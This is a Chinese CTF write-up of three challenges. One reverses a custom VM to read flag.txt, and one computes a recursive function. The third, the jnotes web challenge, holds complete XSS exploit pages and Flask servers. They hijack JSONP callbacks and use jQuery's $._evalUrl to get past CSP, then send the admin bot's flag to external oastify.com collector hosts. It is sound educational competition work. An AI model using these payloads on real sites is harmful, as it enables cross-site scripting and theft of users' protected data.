本页目录

idekCTF 2025 & justCTF 2025 Writeup

idekCTF/rev/lazyVM

题目不给代码,只说flag在./flag.txt,需要自己推出指令集,大概思路如下:

utils

封装一个带有失败重试的请求函数send

Python
import functools
import socket
import time


def retry(max_retries=3):
    def inner_decorator(func):
        @functools.wraps(func)
        def wrapper(*args):
            retries = 0
            while retries < max_retries:
                try:
                    return func(*args)
                except Exception:
                    retries += 1
                    time.sleep(1)
            return None

        return wrapper

    return inner_decorator


@retry(max_retries=5)
def send(payload):
    if isinstance(payload, str):
        payload = payload.encode("latin1")
    assert isinstance(payload, bytes)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(2)
    s.connect(("lazy-vm.chal.idek.team", 1337))
    s.recv(1024)
    s.recv(1024)
    s.send(payload + b"\n")
    result = s.recv(1024)
    s.close()
    return result.decode().strip()

枚举可用指令

一开始没什么思路所以给服务端发0~255的字节看看有什么回显,得到的信息是:

Plain Text
"0": "Thanks for playing",
"1": "Thanks for playing",
"2": "reg index out of range",
"3": "reg index out of range",
"4": "reg index out of range",
"5": "reg index out of range",
"6": "reg index out of range",
"7": "Thanks for playing",
"8": "Unknown instruction at ip=0x1",
"9": "Unknown instruction at ip=0x0",
"10": "Unknown instruction at ip=0x0",
...

说明\x00~\x08是有意义的指令;再后面就是i指令可以打印当前虚拟机的状态:

Plain Text
============== REGISTER ==================
R0 = 0x0
R1 = 0x0
R2 = 0x0
R3 = 0x0
R4 = 0x0
R5 = 0x0
R6 = 0x0
R7 = 0x0
ip: 0x0
sp: 0x64
=================== STACK =====================
0x0
0x0
0x0
0x0
0x0
=================== MEMORY =====================
The pay is only $5. Too lazy to implement this

同时flag四个字符不能出现在输入指令序列中,后面需要绕过。

Plain Text
Found a forbidden character. Exit

推断指令语法

这一部分就比较有意思了,我测试了下面的输入的回显:

Python
from challengeio import send

for i in range(10):
    print(f"Instruction {i}:")
    for opt in ["\x00\x00", "\x04\x00", "\x08\x00", "\x99\x00",
                "\x04\x06\x00", "\x04\x99\x00", "\x99\x06\x00", "\x99\x99\x00"]:
        payload = bytes([i]) + opt.encode("latin1")
        print(payload + b"\n", send(payload))
    print("========")

"""
Instruction 0:
b'\x00\x00\x00\n' Thanks for playing
b'\x00\x04\x00\n' Thanks for playing
b'\x00\x08\x00\n' Thanks for playing
b'\x00\x99\x00\n' Thanks for playing
b'\x00\x04\x06\x00\n' Thanks for playing
b'\x00\x04\x99\x00\n' Thanks for playing
b'\x00\x99\x06\x00\n' Thanks for playing
b'\x00\x99\x99\x00\n' Thanks for playing
========
Instruction 1:
b'\x01\x00\x00\n' Thanks for playing
b'\x01\x04\x00\n' Thanks for playing
b'\x01\x08\x00\n' Thanks for playing
b'\x01\x99\x00\n' Thanks for playing
b'\x01\x04\x06\x00\n' Thanks for playing
b'\x01\x04\x99\x00\n' Unknown instruction at ip=0x2
b'\x01\x99\x06\x00\n' Thanks for playing
b'\x01\x99\x99\x00\n' Unknown instruction at ip=0x2
========
Instruction 2:
b'\x02\x00\x00\n' Thanks for playing
b'\x02\x04\x00\n' Thanks for playing
b'\x02\x08\x00\n' reg index out of range
b'\x02\x99\x00\n' reg index out of range
b'\x02\x04\x06\x00\n' Thanks for playing
b'\x02\x04\x99\x00\n' Unknown instruction at ip=0x2
b'\x02\x99\x06\x00\n' reg index out of range
b'\x02\x99\x99\x00\n' reg index out of range
========
Instruction 3:
b'\x03\x00\x00\n' Thanks for playing
b'\x03\x04\x00\n' Thanks for playing
b'\x03\x08\x00\n' reg index out of range
b'\x03\x99\x00\n' reg index out of range
b'\x03\x04\x06\x00\n' Thanks for playing
b'\x03\x04\x99\x00\n' Unknown instruction at ip=0x2
b'\x03\x99\x06\x00\n' reg index out of range
b'\x03\x99\x99\x00\n' reg index out of range
========
Instruction 4:
b'\x04\x00\x00\n' Thanks for playing
b'\x04\x04\x00\n' Thanks for playing
b'\x04\x08\x00\n' reg index out of range
b'\x04\x99\x00\n' reg index out of range
b'\x04\x04\x06\x00\n' Thanks for playing
b'\x04\x04\x99\x00\n' Unknown instruction at ip=0x2
b'\x04\x99\x06\x00\n' reg index out of range
b'\x04\x99\x99\x00\n' reg index out of range
========
Instruction 5:
b'\x05\x00\x00\n' Thanks for playing
b'\x05\x04\x00\n' Thanks for playing
b'\x05\x08\x00\n' reg index out of range
b'\x05\x99\x00\n' reg index out of range
b'\x05\x04\x06\x00\n' Thanks for playing
b'\x05\x04\x99\x00\n' Unknown instruction at ip=0x2
b'\x05\x99\x06\x00\n' reg index out of range
b'\x05\x99\x99\x00\n' reg index out of range
========
Instruction 6:
b'\x06\x00\x00\n' Unknown instruction at ip=0x3
b'\x06\x04\x00\n' Unknown instruction at ip=0x3
b'\x06\x08\x00\n' reg index out of range
b'\x06\x99\x00\n' reg index out of range
b'\x06\x04\x06\x00\n' Thanks for playing
b'\x06\x04\x99\x00\n' Thanks for playing
b'\x06\x99\x06\x00\n' reg index out of range
b'\x06\x99\x99\x00\n' reg index out of range
========
Instruction 7:
b'\x07\x00\x00\n' Unknown instruction at ip=0x3
b'\x07\x04\x00\n' Unknown instruction at ip=0x3
b'\x07\x08\x00\n' Unknown instruction at ip=0x3
b'\x07\x99\x00\n' Unknown instruction at ip=0x3
b'\x07\x04\x06\x00\n' Thanks for playing
b'\x07\x04\x99\x00\n' reg index out of range
b'\x07\x99\x06\x00\n' Thanks for playing
b'\x07\x99\x99\x00\n' reg index out of range
========
Instruction 8:
b'\x08\x00\x00\n' Thanks for playing
b'\x08\x04\x00\n' Unknown instruction at ip=0x3
b'\x08\x08\x00\n' Thanks for playing
b'\x08\x99\x00\n' Unknown instruction at ip=0x1
b'\x08\x04\x06\x00\n' Thanks for playing
b'\x08\x04\x99\x00\n' reg index out of range
b'\x08\x99\x06\x00\n' Unknown instruction at ip=0x1
b'\x08\x99\x99\x00\n' Unknown instruction at ip=0x1
========
Instruction 9:
b'\t\x00\x00\n' Unknown instruction at ip=0x0
b'\t\x04\x00\n' Unknown instruction at ip=0x0
b'\t\x08\x00\n' Unknown instruction at ip=0x0
b'\t\x99\x00\n' Unknown instruction at ip=0x0
b'\t\x04\x06\x00\n' Unknown instruction at ip=0x0
b'\t\x04\x99\x00\n' Unknown instruction at ip=0x0
b'\t\x99\x06\x00\n' Unknown instruction at ip=0x0
b'\t\x99\x99\x00\n' Unknown instruction at ip=0x0
========
"""

注意到枚举可用指令这一步有些指令回显是reg index out of range,说明有的指令的参数是寄存器编号。(实际上这里是把\n当做了参数,\n字节码是\x0a超过了寄存器数量所以报错了)

这里已经意识到\x00可能是halt指令,所以构造的8个测试项都以\x00结尾。长度不同是考虑到可能有的指令接收两个参数,参数的值主要取小于等于7和大于7两种情况,为了测试哪些参数代表寄存器编号,哪些代表立即数。这些测试项的选取很主观,但也差不多够推断出指令集了。

举几个例子:

\x00回显均为Thanks for playing,显然是结束符;

\x01回显中没有reg index out of range,说明\x01的入参应该是立即数或地址;如果用i打印信息,会发现数据被写进栈了,因此可以判断\x01指令是push (imm)

\x02\x03的入参与寄存器编号有关,并且用i打印信息发现sp变了,判断分别是pop (Rx)push (Rx)

\x06\x07,输入\x06\x00\x00\n\x07\x00\x00\n都回显Unknown instruction at ip=0x3,说明取指取到了\n,也就是这两个指令都需要两个操作数作为参数,从后几个测试项的报错可以看出\x06的第一个操作数是寄存器编号,而\x07的第二个操作数是寄存器编号;

\x08从测试的回显来看是无操作数指令,发现当R0大于4时会报错unknown syscall,判断是syscall指令;

...

推理过程没有写的特别细致(sorry),最终得到的指令集如下:

Plain Text
Instructions:

\x00: 0 opt(s),             halt
\x01: 1 opt(s), data        push (imm)
\x02: 1 opt(s), Rx          pop  (Rx)
\x03: 1 opt(s), Rx          push (Rx)
\x04: 1 opt(s), Rx          or   (Rx)       => R0 |= Rx
\x05: 1 opt(s), Rx          xor  (Rx)       => R0 ^= Rx
\x06: 2 opt(s), Rx, addr    load (Rx, data) => Rx = mem[addr]
\x07: 2 opt(s), addr, Rx    store(addr, Rx) => mem[addr] = Rx

\x08: 0 opt(s),             syscall
                            R0         R1     R2     R3
                            0: read   (fd,    addr,  size)
                            1: write  (fd,    addr,  size)
                            2: open   (path,  flags)
                            3: close  (fd)

读出flag

系统调用号和参数含义(从R1开始传)是一致于Linux的。拿flag的思路是利用运算指令绕过过滤,构造出flag.txt字符串,然后open文件,read内容到内存,最后用write输出。

Python
from challengeio import send


def store(s):
    payload = b""
    for offset, ch in enumerate(s):
        offset = bytes([offset])
        # 'f','l','a','g' is forbidden
        if ch in "flag":
            ch_xor_0xff = bytes([ord(ch) ^ 0xFF])
            payload += b"\x01" + ch_xor_0xff  # push(ch ^ 0xFF)
            payload += b"\x02\x00"  # pop(R0)
            payload += b"\x01\xff"  # push(0xFF)
            payload += b"\x02\x07"  # pop(R7)
            payload += b"\x05\x07"  # R0 ^= R7
            payload += b"\x07" + offset + b"\x00"  # store(offset, R0)
        else:
            ch = bytes([ord(ch)])
            payload += b"\x01" + ch  # push(ch)
            payload += b"\x02\x07"  # pop(R7)
            payload += b"\x07" + offset + b"\x07"  # store(offset, R7)
    return payload


def open():
    payload = b"\x01\x02"  # push(2) -> R0, syscall_number = 2 (open)
    payload += b"\x01\x00"  # push(0) -> R1, path_addr = 0x00 (flag.txt)
    payload += b"\x01\x00"  # push(0) -> R2, flags = 0 (read-only)
    payload += b"\x02\x02\x02\x01\x02\x00"  # pop(R2), pop(R1), pop(R0)
    payload += b"\x08"  # syscall
    payload += b"\x03\x00\x02\x06"  # push(R0), pop(R6) -> R6 = fd
    payload += b"\x08"  # syscall
    return payload


def read(size):
    size = bytes([size])
    payload = b"\x01\x00"  # push(0) -> R0, syscall_number = 0 (read)
    payload += b"\x03\x06"  # push(R6) -> R1, fd = R6 (result of open syscall)
    payload += b"\x01\x00"  # push(0) -> R2, start_addr = 0x00
    payload += b"\x01" + size  # push(size) -> R3
    payload += b"\x02\x03\x02\x02\x02\x01\x02\x00"  # pop(R3), pop(R2), pop(R1), pop(R0)
    payload += b"\x08"  # syscall
    return payload


def output(size):
    size = bytes([size])
    payload = b"\x01\x01"  # push(1) -> R0, syscall_number = 1 (write)
    payload += b"\x01\x01"  # push(1) -> R1, fd = 1 (stdout)
    payload += b"\x01\x00"  # push(0) -> R2, start_addr = 0x00
    payload += b"\x01" + size  # push(size) -> R3
    payload += b"\x02\x03\x02\x02\x02\x01\x02\x00"  # pop(R3), pop(R2), pop(R1), pop(R0)
    payload += b"\x08"  # syscall
    return payload


size = 45
payload = store("flag.txt") + open() + read(size) + output(size) + b"\x00"
print(payload)
print(send(payload))  # idek{Th15_I$_thE_L@Z13$t_vM_i_h4vE_EvEr_5EEN}Thanks for playing

# idek{Th15_I$_thE_L@Z13$t_vM_i_h4vE_EvEr_5EEN}

idekCTF/web/jnotes(赛后)

题目文件

展示几个涉及到的关键文件:

server.js

JavaScript
const express = require("express");
const path = require("path");
const crypto = require("crypto");
const cookieParser = require("cookie-parser");
const app = express();

app.use(express.json());
app.set("view engine", "ejs");
app.set("views", path.join(__dirname, "views"));
app.use(express.static("public"));
app.use(cookieParser());

const get_id = () => crypto.randomBytes(16).toString("hex");

const notes = new Map;

/* post a note */
app.post("/api/post", (req, res) => {
    const {
        noteTitle,
        noteContent
    } = req.body;
    if (!noteTitle || typeof noteTitle !== "string" || !noteContent || typeof noteContent !== "string") {
        return res.status(400).json({
            message: "invalid note"
        });
    }
    const id = get_id();
    notes.set(id, {
        noteTitle,
        noteContent
    });
    return res.json({
        id
    });
});

/* retrieve a note */
app.get("/api/view/:note", (req, res) => {
    return res.jsonp(notes.get(req.params.note));
});

/* retrieve the flag */
app.get("/api/flag", (req, res) => {
    if (req.cookies.secret === process.env.SECRET) {
        return res.json({
            flag: process.env.FLAG
        });
    } else {
        return res.json({
            error: "unauthorized"
        });
    }
});

/* view a note */
app.get("/note/:id", (req, res) => {
    return res.render("notes", {
        note: req.params.id
    });
});

/* index */
app.use("*path", (req, res) => {
    return res.render("index");
});

app.listen(process.env.PORT || 1337, () => {
    console.log("listening...")
});

views/index.ejs

HTML
<html>

<head>
    <link rel="stylesheet" href="/style.css">
    <script src="https://code.jquery.com/jquery-3.7.1.js"
        integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous">
    </script>
</head>

<h1>Post a <em>JNote</em></h1>
<form id="noteForm">
    <h2>Title</h2>
    <input id="noteTitle" name="noteTitle" placeholder="title" size="50" />
    </br>
    <h2>Content</h2>
    <input id="noteContent" name="noteContent" placeholder="content" size="50"></input>
    </br>
    </br>
    <input type="submit" value="Post" />
</form>
<p id="message"></p>

<footer>
    <script src="/index.js"></script>
</footer>

</html>

views/notes.ejs

HTML
<html>

<head>
    <meta http-equiv="Content-Security-Policy"
        content="default-src 'none'; script-src 'self' https://code.jquery.com/jquery-3.7.1.js; connect-src 'self'; style-src 'self' https://fonts.googleapis.com; font-src https://fonts.gstatic.com;">
    <link rel="stylesheet" href="/style.css">
    <script src="https://code.jquery.com/jquery-3.7.1.js"
        integrity="sha256-eKhayi8LEQwp4NKxN+CfCh+3qOVUtJn3QNZ0TciWLP4=" crossorigin="anonymous">
    </script>
    <script src="/view.js"></script>
</head>

<body>
    <script defer src="/api/view/<%= note %>?callback=showNote"></script>
    <div id="noteElement">
        <h1 id="noteTitle"></h1>
        <p id="noteContent"></p>
    </div>
</body>

</html>

public/view.js

JavaScript
function showNote(note) {
    titleElement = $("#noteTitle");
    contentElement = $("#noteContent");
    titleElement.text(note["noteTitle"]);
    contentElement.html(note["noteContent"]);
};

题目概览

题目是一个笔记应用,允许用户发送HTML笔记,笔记的内容通过contentElement.html(note["noteContent"])展示,最终需要XSS带外Admin Bot对/api/flag的请求。Admin Bot的cookie是httpOnly的。

笔记展示页面/note/...有CSP限制,可利用的点几乎只有script-src 'self'index页面则没有CSP。

题目的后端是Express,前端引入了jQuery,并且对/api/view/...的请求会返回一个JSONP格式的响应,本题就是需要用jQuery和JSONP组合来实现XSS。(框架都是最新版,不是Nday利用的题目。)

Admin Bot可以访问输入的任何URL,因此允许我们构造一个攻击页面并发送给Bot。

前期思路

首先,看到Express中处理JSONP的源码callback = callback.replace(/[^\[\]\w$.]/g, '');,这里只允许使用A-Za-z0-9[].$这些字符,无法通过在callback中插入特殊字符进行注入。

notes.ejs中使用JSONP的方式为src="/api/view/<%= note %>?callback=showNote",可以通过访问/note/anything%3fcallback=alert%23来触发alert,原理是替换进模板后引入的src会变成src="/api/view/anything?callback=alert#?callback=showNote"。我们可以通过这个操作实现执行任意函数,比如:

alert

console.log

document.firstElementChild.nextElementSibling.click

document.forms[0].submit

...

但可惜的是无法控制参数,当传入一个非法/不存在的note_id时,相当于对这个函数进行空参调用;当传入一个合法的note_id时,相当于有一个参数notes.get(req.params.note),但这个参数仅当调用showNote时才有意义。(或者用console.log打印出来这个对象 ^v^)

Official Solution

官方解法的思路是构造一个攻击页面,通过iframe加载index页面(没有CSP),然后想办法在index页面中定义并执行showNote函数。官方解法需要一些条件/特性:

首先注意到index.ejsnotes.ejs中都有id="noteContent"的元素(一个是input,一个是p),这样保证了在index页面中执行showNote时仍然可以设置#noteContent元素的HTML内容;

jQuery的$.ajax(url)在空参调用时,会默认使用location.href作为url

jQuery中有一个函数$._evalUrl(url),可以解析执行url返回的JavaScript代码:

JavaScript
jQuery._evalUrl = function (url, options, doc) {
    return jQuery.ajax({
        url: url,

        // Make this explicit, since user can override this through ajaxSetup (trac-11264)
        type: "GET",
        dataType: "script",
        cache: true,
        async: false,
        global: false,

        // Only evaluate the response if it is successful (gh-4126)
        // dataFilter is not invoked for failure responses, so using it instead
        // of the default converter is kludgy but it works.
        converters: {
            "text script": function () {
            }
        },
        dataFilter: function (response) {
            jQuery.globalEval(response, options, doc);
        }
    });
};

尽管我们不能控制url参数,注意到jQuery._evalUrl是使用jQuery.ajax的,因此空参调用时会解析并执行location.href,我们需要location.href指向一个返回JavaScript代码的URL。

server.js中的路由:

JavaScript
/* index */
app.use("*path", (req, res) => {
    return res.render("index");
});

会在其他路由均失配时默认返回index页面。

Step 1

首先,在攻击页面中创建这样一个iframe

HTML
<iframe srcdoc="
    <form method='POST' action='{{target}}/view.js'>
    <script>
        document.forms[0].submit();
    </script>
"></iframe>

我使用Flask作为托管攻击页面的服务器,target在这里是这道题目的地址。这个iframe通过POST方法请求加载/view.js,这会导致定义的路由均失配,最终匹配到*path并返回index页面;并且这个页面的location.href会变成/view.js

img

(如果不用srcdoc而是src=".../view.js",则会返回纯文本的JavaScript代码内容,这样就没有办法加载index页面了。)

Step 2

现在index页面中有我们需要的jQuery库和#noteContent元素,但是showNote函数是未定义的,而这个函数就是定义在/view.js中。因此我们上一步将第一个iframelocation.href操作成/view.js,就是为了这一步空参调用$._evalUrl做铺垫。空参调用时默认使用location.href做参数,也就会解析执行我们需要的/view.js了。

现在在攻击页面中添加下面的代码:

HTML
<script>
    const iframe2 = document.createElement("iframe");
    iframe2.src = "{{target}}/note/anything%3fcallback=top.frames[0].$._evalUrl%23";
    document.body.appendChild(iframe2);
</script>

利用前面提到的劫持callback的方法,通过引入第二个iframe,相当于执行了top.frames[0].$._evalUrl()。(注意传入的note_id"anything",后端并不会匹配到合法的note对象。)

这个操作实际上是在第一个iframe中定义了showNote函数。

Step 3

回顾一下我们目前做了什么:我们的第一个iframe页面是与target同源的,也加载了jQuery库,并且也有#noteContent元素;我们通过引入第二个iframe触发JSONP,间接地在第一个iframe中完成了对showNote函数的定义。重要的是,第一个iframe页面中是没有CSP限制的,因此我们可以在这个页面中渲染恶意笔记,触发XSS。

我们在Flask服务端代码中创建一个笔记,并把note_id保存下来,传给模板:

Python
payload = "<img src=x onerror='alert(0)'>"
resp = requests.post(target + "/api/post", json={"noteContent": payload, "noteTitle": "anything"})
note_id = resp.json()["id"]
HTML
<script>
    const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
    (async () => {
        await sleep(5000);
        const iframe2 = document.createElement("iframe");
        iframe2.src = "{{target}}/note/anything%3fcallback=top.frames[0].$._evalUrl%23";
        document.body.appendChild(iframe2);

        await sleep(1000);
        const iframe3 = document.createElement("iframe");
        iframe3.src = "{{target}}/note/{{note_id}}%3fcallback=top.frames[0].showNote%23";
        document.body.appendChild(iframe3);
    })();
</script>

这次我们通过引入第三个iframe触发JSONP,间接地在第一个iframe中执行了showNote函数,渲染了包含payload的笔记内容,实现了XSS。为了保证正确的执行顺序,在加载每个iframe前加入了延时。

Step 4

正式利用时需要对payload稍作修改,引入带外逻辑;同时由于cookie是没有SameSite=None的,因此直接在iframe中访问/api/flag时是没有cookie的,需要通过window.open打开一个新窗口来访问。

完整代码

最终的攻击页面代码如下:

index.html

HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Exploit</title>
</head>
<body>
<iframe srcdoc="
    <form method='POST' action='{{target}}/view.js'>
    <script>
        document.forms[0].submit();
    </script>
"></iframe>
<script>
    const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
    (async () => {
        await sleep(5000);
        const iframe2 = document.createElement("iframe");
        iframe2.src = "{{target}}/note/anything%3fcallback=top.frames[0].$._evalUrl%23";
        document.body.appendChild(iframe2);

        await sleep(1000);
        const iframe3 = document.createElement("iframe");
        iframe3.src = "{{target}}/note/{{note_id}}%3fcallback=top.frames[0].showNote%23";
        document.body.appendChild(iframe3);
    })();
</script>
</body>
</html>

exp.py

Python
from flask import Flask, render_template
import requests

target = "https://jnotes-web.chal.idek.team"

payload = """<img src=x onerror='
    const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
    const tab = window.open(`/api/flag`);
    sleep(3000).then(() => fetch("//ta7dkoi5sodij8u1k6eft29ybphg56tv.oastify.com/?flag=" + tab.document.body.innerText));
'>"""

resp = requests.post(target + "/api/post", json={"noteContent": payload, "noteTitle": "anything"})
note_id = resp.json()["id"]
print(note_id)

app = Flask(__name__, template_folder=".")


@app.route("/")
def index():
    return render_template("index.html", target=target, note_id=note_id)


app.run("0.0.0.0", 5003)
img

Community Solution

首先除了通过/note/anything%3fcallback=alert%23来触发alert,还有一种方法是设置笔记的内容为:

HTML
<iframe srcdoc='<script src="/api/view/anything?callback=alert"></script>'></iframe>

然后正常访问这个笔记(/note/...)就会触发alert;因此后面我想通过a标签的href带外,因为通过JSONP可以触发点击事件,但是在iframe中的a标签点击时会被CSP限制:

Plain Text
Refused to frame '...' because it violates the following Content Security Policy directive: "default-src 'none'". Note that 'frame-src' was not explicitly set, so 'default-src' is used as a fallback.

我一直以为这个是无法绕过的,但其实只需要给a标签添加target="_blank"target="_top"属性就可以了。顺着这个思路,看到一个有意思的民间解法,同样是构造一个攻击页面:

HTML
<script>
    window.open("{{target}}/note/{{note_id}}");
    location.href = "{{target}}/api/flag";
</script>

在访问这个页面时,会打开一个新窗口加载笔记,然后当前窗口跳转到/api/flag

在笔记页面,创建多个a标签:

Python
i = 9
# {"flag":"idek{...}"}
#          ^
#         i=9

anchors = "\n".join([
    f'<a id="{ch}" href="//caqwk7ios7d1jrukkpeytl9hb8hz5sth.oastify.com/?flag_{i - 9}={ch}" target="_blank">{ch}</a>'
    for ch in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}"
])
payload = f"""
    <iframe srcdoc='
        {anchors}
        <script src="/api/view/anything?callback=window[top.opener.document.body.innerText[{i}]].click"></script>
    '></iframe>
"""

a标签设置了id=xxx后,可以通过window.xxx访问到这个元素;(对任意标签都适用)

注意这些a标签是在iframe中定义并被点击的,而这里的iframe作为笔记内容被加载;此时JSONP回调中:

top取得的是笔记页面的window对象;

top.opener取得的是攻击页面的window对象;(因为是通过攻击页面window.open打开的笔记页面)

攻击页面在打开笔记页面后,立刻跳转到了/api/flag,此时top.opener.document.body.innerText就是flag的内容了!因此这里top.opener.document.body.innerText[...]刚好取到了/api/flag的响应的第i个字符;

window[...]又拿到了对应的a标签,最后通过click带外。

完整代码

最终的攻击页面代码如下:

index.html

HTML
<!DOCTYPE html>
<html lang="en">
<head>
    <title>Exploit</title>
</head>
<body>
<script>
    window.open("{{target}}/note/{{note_id}}");
    location.href = "{{target}}/api/flag";
</script>
</body>
</html>

exp.py

Python
from flask import Flask, render_template
import requests

target = "https://jnotes-web.chal.idek.team"

i = 9
# {"flag":"idek{...}"}
#          ^
#         i=9

anchors = "

    f'<a id="{ch}" href="//caqwk7ios7d1jrukkpeytl9hb8hz5sth.oastify.com/?flag_{i - 9}={ch}" target="_blank">{ch}</a>'
    for ch in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}"
])
payload = f"""
    <iframe srcdoc='
        {anchors}
        <script src="/api/view/anything?callback=window[top.opener.document.body.innerText[{i}]].click"></script>
    '></iframe>
"""

resp = requests.post(target + "/api/post", json={"noteContent": payload, "noteTitle": "anything"})
note_id = resp.json()["id"]
print(note_id)

app = Flask(__name__, template_folder=".")


@app.route("/")
def index():
    return render_template("index.html", target=target, note_id=note_id)


app.run("0.0.0.0", 5003)
imgimg

这样就可以逐位带外flag了。(也可以考虑更自动化的实现)

justCTF/rev/slowrun

分析整个程序能看出这是一个大整数运算的实现,生成flag时有两个函数递归进行调用:

Plain Text
F(x): x - 4 + (73 * x**5) + (8 * x**3) + G(x-1), F(0) = 2, else F(x) = 1 for x <= 1
G(x): F(x-1) + 3F(x-2) - 5F(x-3) + (3 * x**4), G(x) = 1 for x <= 1
flag = F(13337) % A + B

A和B是两个大整数常数,可以直接在程序中找到。FG函数的递归调用会导致计算量非常大,直接运行会超时,用动态规划重写一下:

Python
from Crypto.Util.number import long_to_bytes

A = 12871709638832864416674237492708808074465131233250468097567609804146306910998417223517320307084142930385333755674444057095681119233485961920941215894136808839080569675919567597231
B = 805129649450289111374098215345043938348341847793365469885914570440914675704049341968773123354333661444680237475120349087680072042981825910641377252873686258216120616639500404381


def F(x):
    if x == 0:
        return 2
    elif x <= 1:
        return 1
    else:
        result = x - 4 + (73 * x ** 5) + (8 * x ** 3) + G(x - 1)
        return result


def G(x):
    if x <= 1:
        return 1
    else:
        result = F(x - 1) + 3 * F(x - 2) - 5 * F(x - 3) + (3 * x ** 4)
        return result


fs = [F(0), F(1), F(2)]
gs = [G(0), G(1), G(2)]

for x in range(3, 13338):
    gs.append(fs[x - 1] + 3 * fs[x - 2] - 5 * fs[x - 3] + (3 * x ** 4))
    fs.append(x - 4 + (73 * x ** 5) + (8 * x ** 3) + gs[x - 1])

print(F(9), fs[9])  # 6759072 6759072

flag = fs[13337] % A + B
print(long_to_bytes(flag).decode())

# justCTF{1n_0rd3r_70_und3r574nd_r3cur510n_y0u_h4v3_t0_und3r574nd_r3cur510n}